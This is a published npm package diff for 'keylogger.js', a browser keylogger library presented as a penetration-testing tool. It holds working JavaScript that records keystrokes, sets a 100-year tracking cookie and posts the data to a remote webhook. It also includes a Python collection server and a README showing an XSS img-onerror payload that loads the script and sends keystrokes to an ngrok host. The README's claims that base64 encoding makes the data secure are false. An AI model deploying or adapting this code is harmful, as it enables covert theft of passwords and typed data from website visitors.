@mihnea.dev/keylogger.js 0.0.1

package/README.md

@@ -0,0 +1,110 @@
+# Keylogger.js
+**Keylogger.js** is a lightweight JavaScript library for ethical hacking, penetration testing, and security research. It allows security professionals to capture keyboard events and send them securely to a specified webhook for analysis. Designed for ethical use only, this library serves as a tool for demonstrating vulnerabilities in applications and enhancing system security.
+
+## ⚠️ Disclaimer
+This library is intended **only for ethical purposes** such as security research and testing within authorized environments. Unauthorized use, including any malicious or illegal intent, is strictly prohibited. The author disclaims all responsibility for any misuse of this software.
+
+## Features
+- **Lightweight**: keylogger.js is a lightweight library that can be easily integrated into any web application.
+- **Secure**: All captured keyboard events are base64 encoded and sent securely to a specified webhook.
+- **Customizable**: Developers can customize the library to suit their needs, including changing the webhook URL and adding additional functionality.
+- **Modular**: Built using modern TypeScript for robust type safety and developer experience.
+
+## Installation
+You can install **Keylogger.js** via npm or yarn:
+
+```bash
+# Using bun
+bun install @mihnea.dev/keylogger.js
+# Using npm
+npm install @mihnea.dev/keylogger.js
+# Using yarn
+yarn add @mihnea.dev/keylogger.js
+```
+If you prefer embedding the library directly in your HTML file, include the script:
+```html
+<script src="https://..."></script>
+```
+
+## Usage
+To use keylogger.js in your web application, you need to import the library and initialize it with your webhook URL:
+
+```typescript
+import Keylogger from '@mihnea.dev/keylogger.js';
+
+/* Initialize the Keylogger with your webhook */
+const _: Keylogger = new Keylogger('https://your-webhook-url.com');
+```
+
+Should you embed the script directly in your HTML file, you can initialize the library as follows:
+
+```html
+<script>
+  const _ = new Keylogger('https://your-webhook-url.com');
+</script>
+```
+
+## Configuration Options
+Keylogger.js supports several configuration options that can be passed to the constructor:
+- `webhook`: The URL to which the captured keyboard events will be sent.
+- `logAll`: A boolean flag indicating whether all keyboard events should be logged (default: `false`).
+
+## Example 
+This example demonstrates how to use Keylogger.js in a controlled testing environment by integrating the Python server, exposing it using Ngrok, and embedding the library into a vulnerable webpage to simulate XSS.
+
+### 1. Start the Python Webhook Server
+The Python server included in [`./examples/server.py`](./examples/server.py) listens for incoming requests from Keylogger.js. It decodes Base64-encoded payloads and logs them. To start the server, run the following command:
+
+```bash
+python3 examples/server.py
+```
+
+### 2. Expose the Server Using Ngrok
+To expose the Python server to the internet, use Ngrok. Run the following command to start an HTTP tunnel:
+
+```bash
+ngrok http 3000
+```
+
+### 3. Embed Keylogger.js in a Webpage
+This step demonstrates embedding Keylogger.js into a vulnerable webpage as part of an XSS simulation.
+
+```html
+<img src="invalid.jpg" onerror="
+    const script = document.createElement('script');
+    script.src = 'https://your-cdn-link.com/keylogger.js';
+    document.body.appendChild(script);
+    script.onload = () => {
+        const _ = new Keylogger('https://<random-id>.ngrok.io', true);
+    };
+">
+```
+
+### Observing Results:
+1. The Keylogger.js library captures keystrokes and sends them to the webhook.
+2. The Python server decodes the Base64-encoded payload and logs the captured keystrokes.
+```bash
+Decoded Payload: {"type":"keypress","value":"a","session":{...}}
+Parsed JSON:
+{
+    "type": "keypress",
+    "value": "a",
+    "session": {
+        "id": "unique-session-id",
+        "created_at": "2024-11-29T18:00:00Z",
+        "user_agent": "Mozilla/5.0",
+        "session_cookie": "master-kw-session"
+    }
+}
+```
+
+## Security Considerations
+- Ensure you use this library only in authorized and controlled environments.
+- Do not use this tool for any illegal or unauthorized activity.
+- Always notify and gain consent from stakeholders before testing.
+
+## Contributing
+Contributions are welcome! Feel free to open issues or submit pull requests to improve the library.
+
+## License
+This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.

package/dist/cjs/index.js

@@ -0,0 +1,114 @@
+var __defProp = Object.defineProperty;
+var __getOwnPropNames = Object.getOwnPropertyNames;
+var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
+var __hasOwnProp = Object.prototype.hasOwnProperty;
+var __moduleCache = /* @__PURE__ */ new WeakMap;
+var __toCommonJS = (from) => {
+  var entry = __moduleCache.get(from), desc;
+  if (entry)
+    return entry;
+  entry = __defProp({}, "__esModule", { value: true });
+  if (from && typeof from === "object" || typeof from === "function")
+    __getOwnPropNames(from).map((key) => !__hasOwnProp.call(entry, key) && __defProp(entry, key, {
+      get: () => from[key],
+      enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable
+    }));
+  __moduleCache.set(from, entry);
+  return entry;
+};
+var __export = (target, all) => {
+  for (var name in all)
+    __defProp(target, name, {
+      get: all[name],
+      enumerable: true,
+      configurable: true,
+      set: (newValue) => all[name] = () => newValue
+    });
+};
+
+// src/index.ts
+var exports_src = {};
+__export(exports_src, {
+  default: () => src_default
+});
+module.exports = __toCommonJS(exports_src);
+
+// src/lib/Keylogger.ts
+class Keylogger {
+  webhook;
+  session = null;
+  keys = [];
+  constructor(webhook, logAll) {
+    this.webhook = webhook;
+    const masterSession = this.getOrCreateMasterSession();
+    this.initializeSession(masterSession);
+    logAll ? this.logAll() : this.logOnEnter();
+  }
+  getOrCreateMasterSession() {
+    const cookieName = "master-kw-session";
+    const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
+    if (existingCookie) {
+      return existingCookie.split("=")[1];
+    }
+    const newMasterSession = crypto.randomUUID();
+    const expires = new Date;
+    expires.setFullYear(expires.getFullYear() + 100);
+    document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
+    return newMasterSession;
+  }
+  async initializeSession(session_cookie) {
+    this.session = await this.createSession(session_cookie);
+  }
+  async createSession(session_cookie) {
+    const id = crypto.randomUUID();
+    const created_at = new Date;
+    const user_agent = navigator.userAgent;
+    return { id, created_at, user_agent, session_cookie };
+  }
+  async sendToWebhook(payload) {
+    if (!this.session)
+      return;
+    const body = btoa(JSON.stringify({ ...payload, session: this.session }));
+    try {
+      const response = await fetch(this.webhook, {
+        method: "POST",
+        headers: {
+          "Content-Type": "text/plain"
+        },
+        body
+      });
+      if (!response.ok) {
+        console.error(btoa(response.statusText));
+      }
+    } catch (e) {
+      console.error(btoa(e.toString()));
+    }
+  }
+  logAll() {
+    document.addEventListener("keydown", (event) => {
+      const key = event.key;
+      this.keys.push(key);
+      this.sendToWebhook({
+        type: "keypress",
+        value: key
+      });
+    });
+  }
+  logOnEnter() {
+    document.addEventListener("keydown", (event) => {
+      if (event.key === "Enter") {
+        const value = this.keys.join("");
+        this.keys = [];
+        this.sendToWebhook({
+          type: "enter",
+          value
+        });
+      } else {
+        this.keys.push(event.key);
+      }
+    });
+  }
+}
+
+// src/index.ts
+var src_default = Keylogger;

package/dist/esm/index.js

@@ -0,0 +1,82 @@
+// src/lib/Keylogger.ts
+class Keylogger {
+  webhook;
+  session = null;
+  keys = [];
+  constructor(webhook, logAll) {
+    this.webhook = webhook;
+    const masterSession = this.getOrCreateMasterSession();
+    this.initializeSession(masterSession);
+    logAll ? this.logAll() : this.logOnEnter();
+  }
+  getOrCreateMasterSession() {
+    const cookieName = "master-kw-session";
+    const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
+    if (existingCookie) {
+      return existingCookie.split("=")[1];
+    }
+    const newMasterSession = crypto.randomUUID();
+    const expires = new Date;
+    expires.setFullYear(expires.getFullYear() + 100);
+    document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
+    return newMasterSession;
+  }
+  async initializeSession(session_cookie) {
+    this.session = await this.createSession(session_cookie);
+  }
+  async createSession(session_cookie) {
+    const id = crypto.randomUUID();
+    const created_at = new Date;
+    const user_agent = navigator.userAgent;
+    return { id, created_at, user_agent, session_cookie };
+  }
+  async sendToWebhook(payload) {
+    if (!this.session)
+      return;
+    const body = btoa(JSON.stringify({ ...payload, session: this.session }));
+    try {
+      const response = await fetch(this.webhook, {
+        method: "POST",
+        headers: {
+          "Content-Type": "text/plain"
+        },
+        body
+      });
+      if (!response.ok) {
+        console.error(btoa(response.statusText));
+      }
+    } catch (e) {
+      console.error(btoa(e.toString()));
+    }
+  }
+  logAll() {
+    document.addEventListener("keydown", (event) => {
+      const key = event.key;
+      this.keys.push(key);
+      this.sendToWebhook({
+        type: "keypress",
+        value: key
+      });
+    });
+  }
+  logOnEnter() {
+    document.addEventListener("keydown", (event) => {
+      if (event.key === "Enter") {
+        const value = this.keys.join("");
+        this.keys = [];
+        this.sendToWebhook({
+          type: "enter",
+          value
+        });
+      } else {
+        this.keys.push(event.key);
+      }
+    });
+  }
+}
+
+// src/index.ts
+var src_default = Keylogger;
+export {
+  src_default as default
+};

package/examples/server.py

@@ -0,0 +1,96 @@
+"""
+Python Webhook Server for Keylogger Class
+
+This Python server acts as a webhook endpoint for the Keylogger class, 
+designed to listen for HTTP POST requests on http://0.0.0.0:3000. 
+It processes incoming keystroke data sent by the Keylogger, allowing 
+you to log, inspect, and respond to the payloads.
+
+   - The Keylogger sends JSON data containing keystrokes or session information.
+   - This server's POST handler (`do_POST`) decodes and prints the payload.
+   - If the payload is valid JSON, it logs the structured JSON to the console for inspection.
+
+NOTE: In a production environment, you should secure the server with HTTPS, and store the payload
+data securely in a database or log file. This server is for testing and debugging purposes only.
+
+Example Payload Sent by Keylogger:
+---------------------------------
+{
+    "type": "keypress",
+    "value": "a",
+    "session": {
+        "id": "unique-session-id",
+        "created_at": "2024-11-29T17:30:00Z",
+        "user_agent": "Mozilla/5.0",
+        "session_cookie": "master-kw-session"
+    }
+}
+
+How to Use:
+-----------
+1. Run this server using:
+   $ python3 examples/server.py
+
+    1.1. You can use ngrok to expose the server to the internet:
+        $ ngrok http 3000
+
+2. Configure your Keylogger instance to send keystroke data to the webhook URL:
+    e.g., new Keylogger("https://your-ngrok-url.ngrok.io")
+"""
+
+from http.server import BaseHTTPRequestHandler, HTTPServer
+import json, base64
+
+class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
+    def do_OPTIONS(self):
+        """
+        Handle preflight CORS requests.
+        """
+        self.send_response(200)
+        self.send_header("Access-Control-Allow-Origin", "*")
+        self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
+        self.send_header("Access-Control-Allow-Headers", "Content-Type")
+        self.end_headers()
+
+    def do_POST(self):
+        """
+        Handle POST requests with raw Base64 payloads.
+        """
+        # Read the content length from headers
+        content_length = int(self.headers.get('Content-Length', 0))
+        # Read the incoming POST data (Base64-encoded string)
+        base64_payload = self.rfile.read(content_length).decode('utf-8')
+
+        # Decode Base64-encoded payload
+        try:
+            decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
+            print("Decoded Payload:", decoded_payload)
+
+            # Try parsing the decoded payload as JSON
+            try:
+                json_payload = json.loads(decoded_payload)
+                print("Parsed JSON Payload:", json.dumps(json_payload, indent=4))
+            except json.JSONDecodeError:
+                print("Decoded payload is not valid JSON.")
+        except Exception as e:
+            print("Error decoding Base64 payload:", str(e))
+
+        # Respond to the client
+        self.send_response(200)
+        self.send_header("Access-Control-Allow-Origin", "*")
+        self.send_header("Content-Type", "application/json")
+        self.end_headers()
+        self.wfile.write(b'{"status": "success"}')
+
+def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler):
+    """
+    Start the HTTP server on localhost:3000.
+    """
+    server_address = ('0.0.0.0', 3000)
+    httpd = server_class(server_address, handler_class)
+    print("Starting server on http://0.0.0.0:3000")
+    httpd.serve_forever()
+
+if __name__ == "__main__":
+    run()
+

package/package.json

@@ -0,0 +1,31 @@
+{
+    "name": "@mihnea.dev/keylogger.js",
+    "description": "A simple keylogger for the browser. Please use it responsibly!",
+    "version": "0.0.1",
+    "type": "module",
+    "repository": {
+        "type": "git",
+        "url": "git+https://github.com/mihneamanolache/keylogger.js.git"
+    },
+    "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
+    "main": "./dist/cjs/index.js",
+    "module": "./dist/esm/index.js",
+    "exports": {
+        ".": {
+            "import": "./dist/esm/index.js",
+            "require": "./dist/cjs/index.js"
+        }
+    },
+    "types": "./dist/esm/index.d.ts",
+    "scripts": {
+        "build:cjs": "bun build src/index.ts --format cjs --dts --outdir dist/cjs --clean",
+        "build:esm": "bun build src/index.ts --format esm --dts --outdir dist/esm --clean",
+        "build": "rm -rf dist && bun run build:cjs && bun run build:esm"
+    },
+    "devDependencies": {
+        "@types/bun": "latest"
+    },
+    "peerDependencies": {
+        "typescript": "^5.0.0"
+    }
+}

package/src/index.ts

@@ -0,0 +1,3 @@
+import Keylogger from "./lib/Keylogger";
+export default Keylogger;
+export * from "./lib/Keylogger.types";

package/src/lib/Keylogger.ts

@@ -0,0 +1,123 @@
+import type { IPayload, ISession } from "./Keylogger.types";
+
+/**
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
+ */
+export default class Keylogger {
+    /** Webhook URL to send captured data. */
+    protected webhook:      string;
+    /** Current session information. */
+    protected session:      ISession | null = null;
+    /** Array to store captured keystrokes. */
+    protected keys:         Array<string> = [];
+
+    /**
+     * Constructs a new instance of the Keylogger.
+     *
+     * @param { string } webhook - URL of the webhook to send captured data.
+     * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
+     */
+    constructor(webhook: string, logAll: boolean | undefined) {
+        this.webhook = webhook;
+        const masterSession: string = this.getOrCreateMasterSession();
+        this.initializeSession(masterSession);
+        logAll ? this.logAll() : this.logOnEnter();
+    }
+
+    /**
+     * Retrieves or creates a persistent "master-kw-cookie" cookie.
+     * @returns The value of the "master-kw-session" cookie.
+     */
+    protected getOrCreateMasterSession(): string {
+        const cookieName: string = "master-kw-session";
+        const existingCookie: string | undefined = document.cookie
+            .split("; ")
+            .find((row) => row.startsWith(`${cookieName}=`));
+        if (existingCookie) {
+            return existingCookie.split("=")[1];
+        }
+        const newMasterSession: string = crypto.randomUUID();
+        const expires: Date = new Date();
+        expires.setFullYear(expires.getFullYear() + 100); 
+        document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
+        return newMasterSession;
+    }
+
+    /**
+     * Initializes the session with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     */
+    protected async initializeSession(session_cookie: string): Promise<void> {
+        this.session = await this.createSession(session_cookie);
+    }
+
+    /**
+     * Creates a new session object with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     * @returns { Promise<ISession> } A Promise resolving to the session object.
+     */
+    protected async createSession(session_cookie: string): Promise<ISession> {
+        const id: string = crypto.randomUUID();
+        const created_at: Date = new Date();
+        const user_agent: string = navigator.userAgent;
+        return { id, created_at, user_agent, session_cookie };
+    }
+
+    /**
+     * Sends captured data to the webhook along with the session information.
+     * NOTE: Data is encoded in Base64 to prevent interception.
+     *
+     * @param payload - The data payload to send.
+     */
+    protected async sendToWebhook(payload: IPayload): Promise<void> {
+        if (!this.session) return;
+        const body: string = btoa(JSON.stringify({ ...payload, session: this.session }));
+        try {
+            const response: Response = await fetch(this.webhook, {
+                method: "POST",
+                headers: {
+                    "Content-Type": "text/plain",
+                },
+                body
+            });
+            if (!response.ok) {
+                console.error(btoa(response.statusText));
+            }
+        } catch (e: unknown) {
+            console.error(btoa((<Error>e).toString()));
+        }
+    }
+
+    /**
+     * Logs all keypress events and sends each key to the webhook.
+     */
+    protected logAll(): void {
+        document.addEventListener("keydown", (event: KeyboardEvent) => {
+            const key: string = event.key;
+            this.keys.push(key);
+            this.sendToWebhook({
+                type: "keypress",
+                value: key,
+            });
+        });
+    }
+
+    /**
+     * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
+     */
+    protected logOnEnter(): void {
+        document.addEventListener("keydown", (event: KeyboardEvent) => {
+            if (event.key === "Enter") {
+                const value: string = this.keys.join("");
+                this.keys = []; 
+                this.sendToWebhook({
+                    type: "enter",
+                    value,
+                });
+            } else {
+                this.keys.push(event.key);
+            }
+        });
+    }
+}
+

package/src/lib/Keylogger.types.ts

@@ -0,0 +1,20 @@
+/**
+ * Interface representing a session's metadata.
+ */
+export interface ISession {
+    /** Unique identifier for the session. */
+    id:             string;
+    /** Timestamp when the session was created. */
+    created_at:     Date;
+    /** User agent string of the client browser. */
+    user_agent:     string;
+    /** Persistent session cookie. */
+    session_cookie: string;
+}
+
+export interface IPayload {
+    /** Type of event captured. */
+    type:   "keypress" | "enter";
+    /** Value of the captured event. */
+    value:  string;
+}

package/tsconfig.json

@@ -0,0 +1,27 @@
+{
+  "compilerOptions": {
+    // Enable latest features
+    "lib": ["ESNext", "DOM"],
+    "target": "ESNext",
+    "module": "ESNext",
+    "moduleDetection": "force",
+    "jsx": "react-jsx",
+    "allowJs": true,
+
+    // Bundler mode
+    "moduleResolution": "bundler",
+    "allowImportingTsExtensions": true,
+    "verbatimModuleSyntax": true,
+    "noEmit": true,
+
+    // Best practices
+    "strict": true,
+    "skipLibCheck": true,
+    "noFallthroughCasesInSwitch": true,
+
+    // Some stricter flags (disabled by default)
+    "noUnusedLocals": false,
+    "noUnusedParameters": false,
+    "noPropertyAccessFromIndexSignature": false
+  }
+}